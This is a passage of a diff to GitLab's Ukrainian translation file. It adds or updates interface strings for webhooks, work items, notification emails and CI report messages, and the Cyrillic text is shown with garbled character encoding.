msgstr "Ми виÑвили Ñпробу входу у ваш обліковий Ð·Ð°Ð¿Ð¸Ñ %{host} за допомогою неправильного коду двофакторної автентифікації"
msgid "We detected an attempt to sign in to your %{host} account using a wrong two-factor authentication code, from the following IP address: %{ip}, at %{time}"
-msgstr ""
+msgstr "Ми виÑвили Ñпробу входу у ваш обліковий Ð·Ð°Ð¿Ð¸Ñ %{host} за допомогою неправильного коду двофакторної автентифікації з такої IP-адреÑи: %{ip} в %{time}"
msgid "We detected potential spam in the %{humanized_resource_name}. Please solve the reCAPTCHA to proceed."
msgstr "Ми виÑвили потенційний Ñпам у %{humanized_resource_name}. Будь лаÑка, введіть цей код Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ reCAPTCHA, щоб продовжити."
@@ -46584,7 +47273,7 @@ msgid "We want to be sure it is you, please confirm you are not a robot."
msgstr "Ми хочемо бути впевнені, що це ви, будь лаÑка, підтвердіть, що ви не робот."
msgid "We want to let you know %{username} has exceeded the Git rate limit due to them downloading more than %{max_project_downloads} project %{repositories_text} within %{within_text}."
-msgstr ""
+msgstr "Хочемо повідомити вам, що %{username} перевищив ліміт Git, оÑкільки завантажив більше %{max_project_downloads} проєктів за %{repositories_text} протÑгом %{within_text}."
msgid "We will notify %{inviter} that you declined their invitation to join GitLab. You will stop receiving reminders."
msgstr ""
@@ -46635,7 +47324,7 @@ msgid "WebIDE|Merge request"
msgstr "Запит на злиттÑ"
msgid "WebIDE|Quickly and easily edit multiple files in your project."
-msgstr ""
+msgstr "Швидко і легко редагуйте кілька файлів у вашому проєкті."
msgid "WebIDE|Quickly and easily edit multiple files in your project. Press . to open"
msgstr "Швидко і легко редагувати декілька файлів у вашому проєкті."
@@ -46683,13 +47372,13 @@ msgid "Webhook was deleted"
msgstr "Вебхук видалено"
msgid "Webhook was scheduled for deletion"
-msgstr ""
+msgstr "Вебхук було призначено Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ"
msgid "Webhook was updated"
msgstr "Вебхук оновлено"
msgid "Webhook:"
-msgstr ""
+msgstr "Вебхук:"
msgid "Webhooks"
msgstr "Веб-хуки"
@@ -46808,12 +47497,12 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Події конвеєрів"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
-msgstr "РегулÑрний вираз, такий Ñк %{REGEX_CODE}."
-
msgid "Webhooks|Regular expression"
msgstr "РегулÑрний вираз"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
+msgstr ""
+
msgid "Webhooks|Releases events"
msgstr ""
@@ -46863,10 +47552,10 @@ msgid "Webhooks|Webhook fails to connect"
msgstr ""
msgid "Webhooks|Webhook rate limit has been reached"
-msgstr ""
+msgstr "ДоÑÑгнуто Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾ÑÑ‚Ñ– вебхуків"
msgid "Webhooks|Webhooks for %{root_namespace} are now disabled because they've been triggered more than %{limit} times per minute. They'll be automatically re-enabled in the next minute."
-msgstr ""
+msgstr "Веб-хуки Ð´Ð»Ñ %{root_namespace} тепер вимкнені, оÑкільки вони Ñпрацьовують більше %{limit} разів на хвилину, вони будуть автоматично увімкнені в наÑтупну хвилину."
msgid "Webhooks|Wiki page events"
msgstr ""
@@ -46878,7 +47567,7 @@ msgid "Webhooks|Wildcards such as %{WILDCARD_CODE_STABLE} or %{WILDCARD_CODE_PRO
msgstr "ПідтримуютьÑÑ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð¸, такі Ñк %{WILDCARD_CODE_STABLE} або %{WILDCARD_CODE_PRODUCTION}."
msgid "Website"
-msgstr ""
+msgstr "ВебÑайт"
msgid "Website:"
msgstr "Сайт:"
@@ -47045,7 +47734,7 @@ msgid "Wiki"
msgstr "Вікі"
msgid "Wiki page"
-msgstr ""
+msgstr "Вікі-Ñторінка"
msgid "Wiki page was successfully created."
msgstr ""
@@ -47263,9 +47952,21 @@ msgstr "ВиконуєтьÑÑ Ñ€Ð¾Ð±Ð¾Ñ‚Ð° (відкрита та не приз
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr "%{invalidWorkItemsList} неможливо додати: неможливо призначити неконфіденційний %{childWorkItemType} до конфіденційного батьківÑького %{parentWorkItemType}. Зробіть вибрані %{childWorkItemType} конфіденційними та повторіть Ñпробу."
+
msgid "WorkItem|%{workItemType} deleted"
msgstr "%{workItemType} видалено"
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr "ÐктивніÑÑ‚ÑŒ"
+
msgid "WorkItem|Add"
msgstr "Додати"
@@ -47331,10 +48032,10 @@ msgid "WorkItem|Create objective"
msgstr ""
msgid "WorkItem|Create task"
-msgstr ""
+msgstr "Створити підзавданнÑ"
msgid "WorkItem|Create work item"
-msgstr ""
+msgstr "Створити робочий елемент"
msgid "WorkItem|Dates"
msgstr "Дати"
@@ -47343,17 +48044,20 @@ msgid "WorkItem|Delete %{workItemType}"
msgstr "Видалити %{workItemType}"
msgid "WorkItem|Discard changes"
-msgstr ""
+msgstr "СкаÑувати зміни"
msgid "WorkItem|Due date"
msgstr "Дата виконаннÑ"
msgid "WorkItem|Existing task"
-msgstr ""
+msgstr "ІÑнуюче підзавданнÑ"
msgid "WorkItem|Expand tasks"
msgstr "Розгорнути підзавданнÑ"
+msgid "WorkItem|Health status"
+msgstr "Стан здоров'Ñ"
+
msgid "WorkItem|Incident"
msgstr "Інцидент"
@@ -47363,7 +48067,7 @@ msgstr "Задача"
msgid "WorkItem|Iteration"
msgstr "ІтераціÑ"
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47373,7 +48077,7 @@ msgid "WorkItem|New objective"
msgstr ""
msgid "WorkItem|New task"
-msgstr ""
+msgstr "Ðове підзавданнÑ"
msgid "WorkItem|No iteration"
msgstr "Ðемає ітерації"
@@ -47396,8 +48100,8 @@ msgstr "Ðемає"
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "Лише учаÑники проєкту з принаймні роллю Репортера, автор Ñ– виконавці можуть переглÑдати це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð°Ð±Ð¾ отримувати ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ нього."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr ""
msgid "WorkItem|Open"
msgstr "Відкрити"
@@ -47409,7 +48113,7 @@ msgid "WorkItem|Requirements"
msgstr "Вимоги"
msgid "WorkItem|Save and overwrite"
-msgstr ""
+msgstr "Зберегти та перезапиÑати"
msgid "WorkItem|Search existing %{workItemType}s"
msgstr ""
@@ -47450,6 +48154,12 @@ msgstr "Під Ñ‡Ð°Ñ Ñпроби Ñтворити дочірній елемеÐ
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ. Будь лаÑка, Ñпробуйте ще раз."
+msgid "WorkItem|Something went wrong while removing child."
+msgstr "Проблема при видаленні дочірнього об'єкта."
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ %{workItemType}. Будь лаÑка, Ñпробуйте ще раз."
@@ -47469,6 +48179,12 @@ msgid "WorkItem|Tasks"
msgstr "ПідзавданнÑ"
msgid "WorkItem|Test case"
+msgstr "ТеÑтовий кейÑ"
+
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
msgstr ""
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
@@ -47484,10 +48200,10 @@ msgid "WorkItem|Undo"
msgstr "СкаÑувати"
msgid "WorkItem|View current version"
-msgstr ""
+msgstr "ПереглÑнути поточну верÑÑ–ÑŽ"
msgid "WorkItem|Work Items"
-msgstr ""
+msgstr "Робочі елементи"
msgid "WorkItem|Work item"
msgstr "Робочий елемент"
@@ -47511,10 +48227,10 @@ msgid "Write a comment…"
msgstr "ÐапиÑати коментар…"
msgid "Write a description or drag your files here…"
-msgstr ""
+msgstr "Ðапишіть Ð¾Ð¿Ð¸Ñ Ð°Ð±Ð¾ перетÑгніть Ñюди Ñвої файли..."
msgid "Write a description..."
-msgstr ""
+msgstr "Ðапишіть опиÑ..."
msgid "Write a description…"
msgstr ""
@@ -47535,7 +48251,7 @@ msgid "Xcode"
msgstr "Xcode"
msgid "YYYY-MM-DD"
-msgstr ""
+msgstr "РРРР-ММ-ДД"
msgid "Yes"
msgstr "Так"
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Ви збираєтеÑÑŒ передати контроль над Ñвоїм обліковим запиÑом групі %{group_name}. Ð¦Ñ Ð´Ñ–Ñ ÐЕЗВОРОТÐÐ, ви не зможете отримати доÑтуп до жодної групи та проєкту за межами %{group_name}, Ñк тільки Ñ†Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð° буде завершена."
@@ -47596,7 +48315,7 @@ msgid "You are attempting to update a file that has changed since you started ed
msgstr "Ви намагаєтеÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ файл, Ñкий було змінено піÑÐ»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ редагуваннÑ."
msgid "You are being redirected away from GitLab"
-msgstr ""
+msgstr "Ð’Ð°Ñ Ð±ÑƒÐ´Ðµ перенаправлено з GitLab"
msgid "You are billed if you exceed this number. %{qsrOverageLinkStart}How does billing work?%{qsrOverageLinkEnd}"
msgstr ""
@@ -47638,7 +48357,7 @@ msgid "You are not allowed to create this tag as it is protected."
msgstr "Вам заборонено Ñтворювати цей тег, оÑкільки він захищений."
msgid "You are not allowed to download code from this project."
-msgstr ""
+msgstr "Вам не дозволено завантажувати код з цього проєкту."
msgid "You are not allowed to log in using password"
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr "Ви можете додати мітку в обрані, щоб зробити її пріоритетною."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "Ви також можете протеÑтувати ваш %{gitlab_ci_yml} за допомогою %{lint_link_start}перевірки CI конфігурації%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Також ви можете завантажувати файли з вашого комп'ютера за допомогою нижченаведених інÑтрукцій."
@@ -47802,6 +48518,9 @@ msgstr "Ви можете запроÑити нового учаÑника до
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr "Ви можете змінити змінні CI/CD цього Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð¿ÐµÑ€ÐµÐ´ запуÑком його знову."
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Ви можете переÑуватиÑÑ Ð¿Ð¾ графу за допомогою клавіш зі Ñтрілками."
@@ -47809,7 +48528,7 @@ msgid "You can notify the app / group or a project by sending them an email noti
msgstr ""
msgid "You can now close this window."
-msgstr ""
+msgstr "Тепер можна закрити це вікно."
msgid "You can now submit a merge request to get this change into the original branch."
msgstr "Ви можете тепер відправити запит на злиттÑ, щоб Ñ†Ñ Ð·Ð¼Ñ–Ð½Ð° попала у вихідну гілку."
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "Ви можете вказати рівень Ñповіщень на рівні групи або проєкту."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Ви можете перевірити Ñвій .gitlab-ci.yml у %{linkStart}CI Lint%{linkEnd}."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr "Ви не можете отримати доÑтуп до неформа
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr "Ви не можете додати більше епіків. Цей епік вже має макÑимальну кількіÑÑ‚ÑŒ дочірніх епіків."
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” недавніх пошуків"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Вам надано %{access_level} доÑтуп до %{source_link} %{source_type}."
@@ -48023,7 +48742,7 @@ msgid "You have insufficient permissions to create an on-call schedule for this
msgstr ""
msgid "You have insufficient permissions to manage alerts for this project"
-msgstr ""
+msgstr "У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтатньо прав Ð´Ð»Ñ ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ ÑповіщеннÑми Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "You have insufficient permissions to manage resource links for this incident"
msgstr ""
@@ -48077,7 +48796,7 @@ msgid "You have successfully purchased %{product}. You'll receive a receipt by e
msgstr ""
msgid "You have unsaved changes"
-msgstr ""
+msgstr "Є незбережені зміни"
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "Ви залишили \"%{membershipable_human_name}\" %{source_type}."
@@ -48100,6 +48819,9 @@ msgstr "Ви повинні мати доÑтуп керівника Ð´Ð»Ñ Ð¿Ñ€
msgid "You must provide a valid current password"
msgstr "Вам потрібно вказати дійÑний поточний пароль"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Вам потрібно вказати поточний пароль Ð´Ð»Ñ Ð¹Ð¾Ð³Ð¾ зміни."
@@ -48215,34 +48937,34 @@ msgid "You're receiving this email because of your account on %{host}."
msgstr "Ви отримали цей електронний лиÑÑ‚, оÑкільки ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð¸Ð¹ на %{host}."
msgid "You're receiving this email because of your account on %{host}. %{manage_label_subscriptions_link_start}Manage label subscriptions%{manage_label_subscriptions_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚ через ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð½Ð° %{host}. %{manage_label_subscriptions_link_start}Керувати підпиÑками на мітки%{manage_label_subscriptions_link_end} &middot; %{help_link_start}Допомога%{help_link_end}\n"
msgid "You're receiving this email because of your account on %{host}. %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚ через ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð½Ð° %{host}. %{manage_notifications_link_start}Керувати вÑіма ÑповіщеннÑми%{manage_notifications_link_end} &middot; %{help_link_start}Допомога%{help_link_end}"
msgid "You're receiving this email because of your account on %{host}. %{unsubscribe_link_start}Unsubscribe%{unsubscribe_link_end} from this thread &middot; %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚ через ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð½Ð° %{host}. %{unsubscribe_link_start}ВідпиÑатиÑÑ%{unsubscribe_link_end} від цієї теми &middot; %{manage_notifications_link_start}Керувати вÑіма ÑповіщеннÑми%{manage_notifications_link_end} &middot; %{help_link_start}Допомога%{help_link_end}"
msgid "You're receiving this email because of your activity on %{host}."
msgstr "Ви отримали цей електронний лиÑÑ‚ через Ñвою активніÑÑ‚ÑŒ на %{host}."
msgid "You're receiving this email because of your activity on %{host}. %{unsubscribe_link_start}Unsubscribe%{unsubscribe_link_end} from this thread &middot; %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚ через вашу активніÑÑ‚ÑŒ на %{host}. %{unsubscribe_link_start}ВідпиÑатиÑÑ%{unsubscribe_link_end} від цієї теми &middot; %{manage_notifications_link_start}Керувати вÑіма ÑповіщеннÑми%{manage_notifications_link_end} &middot; %{help_link_start}Допомога%{help_link_end}"
msgid "You're receiving this email because you have been assigned an item on %{host}."
msgstr "Ви отримали цей лиÑÑ‚, тому що Ð²Ð°Ñ Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¾ елемент на %{host}."
msgid "You're receiving this email because you have been assigned an item on %{host}. %{unsubscribe_link_start}Unsubscribe%{unsubscribe_link_end} from this thread &middot; %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚, тому що вам призначено елемент на %{host}. %{unsubscribe_link_start}ВідпиÑатиÑÑ%{unsubscribe_link_end} від цієї теми &middot; %{manage_notifications_link_start}Керувати вÑіма ÑповіщеннÑ%{manage_notifications_link_end} &middot; %{help_link_start}Допомога%{help_link_end}"
msgid "You're receiving this email because you have been mentioned on %{host}."
msgstr "Ви отримали цей електронний лиÑÑ‚ через те, що Ð²Ð°Ñ Ð·Ð³Ð°Ð´Ð°Ð»Ð¸ на %{host}."
msgid "You're receiving this email because you have been mentioned on %{host}. %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚, тому що Ð²Ð°Ñ Ð±ÑƒÐ»Ð¾ згадано на %{host}. %{manage_notifications_link_start}Керувати вÑіма ÑповіщеннÑми%{manage_notifications_link_end} &middot; %{help_link_start}Допомога%{help_link_end}"
msgid "You're receiving this email because you have been mentioned on %{host}. %{unsubscribe_link_start}Unsubscribe%{unsubscribe_link_end} from this thread &middot; %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr ""
+msgstr "Ви отримуєте цей лиÑÑ‚, тому що ви були згадані на %{host}. %{unsubscribe_link_start}ВідпиÑатиÑÑ%{unsubscribe_link_end} від цієї теми &middot; %{manage_notifications_link_start}Керувати вÑіма ÑповіщеннÑми%{manage_notifications_link_end} &middot; %{help_link_start}Допомога%{help_link_end}"
msgid "You're viewing members of %{strong_start}%{group_name}%{strong_end}."
msgstr "Ви переглÑдаєте учаÑників %{strong_start}%{group_name}%{strong_end}."
@@ -48253,8 +48975,12 @@ msgstr "Ви уже увімкнули двофакторну автентифі
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr "YouTube"
@@ -48296,7 +49022,7 @@ msgid "Your Chain of Custody CSV export for the group %{group_name} has been add
msgstr "Ваш ланцюг CSV Custody Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ %{group_name} було додано на цей електронний лиÑÑ‚ Ñк вкладеннÑ."
msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
-msgstr ""
+msgstr "Ваші звіти DevOps дають оглÑд того, Ñк ви викориÑтовуєте GitLab з точки зору функцій. ВикориÑтовуйте Ñ—Ñ…, щоб побачити, Ñк ви порівнюєтеÑÑŒ з іншими організаціÑми та Ñк ваші команди порівнюютьÑÑ Ð¼Ñ–Ð¶ Ñобою."
msgid "Your GPG keys (%{count})"
msgstr "Ваші ключі GPG (%{count})"
@@ -48371,7 +49097,7 @@ msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start
msgstr ""
msgid "Your account is locked."
-msgstr ""
+msgstr "Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾."
msgid "Your account uses dedicated credentials for the \"%{group_name}\" group and can only be updated through SSO."
msgstr "Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸Ñтовує окремі параметри входу Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ \"%{group_name}\" Ñ– можу бути оновлений тільки через SSO."
@@ -48494,6 +49220,9 @@ msgstr "Ваше Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ñ‚ÑƒÑ‚"
msgid "Your name"
msgstr "Ваше ім'Ñ"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,8 +49250,8 @@ msgstr "Ваш пароль"
msgid "Your password reset token has expired."
msgstr "Ваш токен Ð´Ð»Ñ ÑÐºÐ¸Ð´Ð°Ð½Ð½Ñ Ð¿Ð°Ñ€Ð¾Ð»ÑŽ заÑтарів."
-msgid "Your personal access token has expired"
-msgstr ""
+msgid "Your personal access tokens have expired"
+msgstr "Ваші перÑональні токени доÑтупу закінчилиÑÑ"
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr "Ваша робота"
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48732,10 +49464,10 @@ msgstr ""
msgid "approval"
msgid_plural "approvals"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "затвердженнÑ"
+msgstr[1] "затвердженнÑ"
+msgstr[2] "затверджень"
+msgstr[3] "затверджень"
msgid "archived"
msgstr "заархівовано"
@@ -48744,7 +49476,7 @@ msgid "archived:"
msgstr "архівовано:"
msgid "artifacts"
-msgstr ""
+msgstr "артефакти"
msgid "assign yourself"
msgstr "призначити Ñамому Ñобі"
@@ -48778,10 +49510,10 @@ msgstr "блокує"
msgid "branch"
msgid_plural "branches"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "гілка"
+msgstr[1] "гілки"
+msgstr[2] "гілок"
+msgstr[3] "гілок"
msgid "branch name"
msgstr "ім'Ñ Ð³Ñ–Ð»ÐºÐ¸"
@@ -48793,7 +49525,7 @@ msgid "by"
msgstr "від"
msgid "cURL:"
-msgstr ""
+msgstr "cURL:"
msgid "can contain only digits"
msgstr "може міÑтити лише цифри"
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr "не можна змінити на %{new_type}"
+
msgid "can not be set for this resource"
msgstr ""
@@ -48853,7 +49588,7 @@ msgid "cannot be associated with both a Group and a Project"
msgstr ""
msgid "cannot be blank"
-msgstr ""
+msgstr "Ðе може бути порожнім"
msgid "cannot be changed"
msgstr ""
@@ -48919,16 +49654,16 @@ msgstr[3] ""
msgid "checklist item"
msgid_plural "checklist items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "пункт ÑпиÑку"
+msgstr[1] "пункти ÑпиÑку"
+msgstr[2] "пунктів ÑпиÑку"
+msgstr[3] "пунктів ÑпиÑку"
msgid "ciReport|%{criticalStart}critical%{criticalEnd}, %{highStart}high%{highEnd} and %{otherStart}others%{otherEnd}"
msgstr "%{criticalStart}критичний%{criticalEnd}, %{highStart}виÑокий%{highEnd} та %{otherStart}інші%{otherEnd}"
msgid "ciReport|%{danger_start}%{degradedNum} degraded%{danger_end}, %{same_start}%{sameNum} same%{same_end}, and %{success_start}%{improvedNum} improved%{success_end}"
-msgstr ""
+msgstr "%{danger_start}%{degradedNum} погіршивÑÑ%{danger_end}, %{same_start}%{sameNum} той Ñамий%{same_end}, Ñ– %{success_start}%{improvedNum} покращивÑÑ%{success_end}"
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -48973,25 +49708,25 @@ msgid "ciReport|%{reportType}: Loading resulted in an error"
msgstr "%{reportType}: Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¸Ð·Ð²ÐµÐ»Ð¾ до помилки"
msgid "ciReport|%{sameNum} same"
-msgstr ""
+msgstr "%{sameNum} той Ñамий"
msgid "ciReport|%{scanner} detected %{number} new potential %{vulnStr}"
msgstr ""
msgid "ciReport|%{scanner} detected %{strong_start}%{number}%{strong_end} new potential %{vulnStr}"
-msgstr ""
+msgstr "%{scanner} виÑвив %{strong_start}%{number}%{strong_end} новий потенційний %{vulnStr}"
msgid "ciReport|%{scanner} detected no new %{vulnStr}"
msgstr ""
msgid "ciReport|%{scanner} detected no new potential vulnerabilities"
-msgstr ""
+msgstr "%{scanner} не виÑвив нових потенційних вразливоÑтей"
msgid "ciReport|%{scanner}: Loading resulted in an error"
-msgstr ""
+msgstr "%{scanner}: Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¸Ð·Ð²ÐµÐ»Ð¾ до помилки"
msgid "ciReport|: Loading resulted in an error"
-msgstr ""
+msgstr ": Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¸Ð·Ð²ÐµÐ»Ð¾ до помилки"
msgid "ciReport|API Fuzzing"
msgstr ""
@@ -49024,7 +49759,7 @@ msgid "ciReport|Base pipeline codequality artifact not found"
msgstr ""
msgid "ciReport|Browser Performance"
-msgstr ""
+msgstr "ПродуктивніÑÑ‚ÑŒ браузера"
msgid "ciReport|Browser performance test metrics results are being parsed"
msgstr ""
@@ -49043,19 +49778,22 @@ msgid "ciReport|Browser performance test metrics: No changes"
msgstr ""
msgid "ciReport|Checks"
-msgstr ""
+msgstr "Перевірки"
msgid "ciReport|Cluster Image Scanning"
-msgstr ""
+msgstr "Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ»Ð°Ñтерного образу"
msgid "ciReport|Code Quality"
-msgstr ""
+msgstr "ЯкіÑÑ‚ÑŒ коду"
-msgid "ciReport|Code Quality failed loading results"
-msgstr ""
+msgid "ciReport|Code Quality failed to load results"
+msgstr "ЯкіÑÑ‚ÑŒ коду не вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ результати"
-msgid "ciReport|Code Quality test metrics results are being parsed"
-msgstr ""
+msgid "ciReport|Code Quality hasn't changed."
+msgstr "ЯкіÑÑ‚ÑŒ коду не змінилаÑÑ."
+
+msgid "ciReport|Code Quality is loading"
+msgstr "ЯкіÑÑ‚ÑŒ коду завантажуєтьÑÑ"
msgid "ciReport|Code quality degraded due to 1 new issue"
msgid_plural "ciReport|Code quality degraded due to %d new issues"
@@ -49093,7 +49831,7 @@ msgid "ciReport|Coverage fuzzing"
msgstr ""
msgid "ciReport|Create Jira issue"
-msgstr ""
+msgstr "Створити задачу в Jira"
msgid "ciReport|Create a merge request to implement this solution, or download and apply the patch manually."
